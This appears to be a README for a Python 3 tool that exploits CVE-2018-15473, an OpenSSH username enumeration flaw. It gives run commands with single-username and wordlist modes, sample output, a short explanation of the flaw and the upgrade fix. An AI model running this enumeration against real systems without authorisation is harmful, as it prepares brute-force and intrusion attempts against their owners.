## CVE-2018-15473
**SSH-Username-Enumeration-Exploit (OpenSSH 2.3 < 7.7)**
Edited version of the original exploit: https://www.exploit-db.com/exploits/45233
* Converted to Python3
* Added username wordlist option
## How To Run
```bash
#Install the requirements:
foo@bar:~$ pip3 install -r requirements.txt
```
```bash
#For single username:
foo@bar:~$ ./Exploit.py 192.168.1.20 -u root
[+] root is a valid username
```
```bash
#For multiple username:
foo@bar:~$ ./Exploit.py 192.168.1.20 -w username.txt
[+] root is a valid username
[-] mysql is an invalid username
[-] mike is an invalid username
[-] foo is an invalid username
[-] bar is an invalid username
Valid Users:
root
```
```bash
#For more option:
foo@bar:~$ ./Exploit.py -h
```
## About the Vulnerability:
The system responds differently to valid and invalid authentication attempts. A remote user can send specially crafted requests to determine valid usernames on the target system. Thus, a remote user can determine valid usernames on the target system.
## Solution:
OpenSSH server should be upgraded to, or higher than, version 7.7
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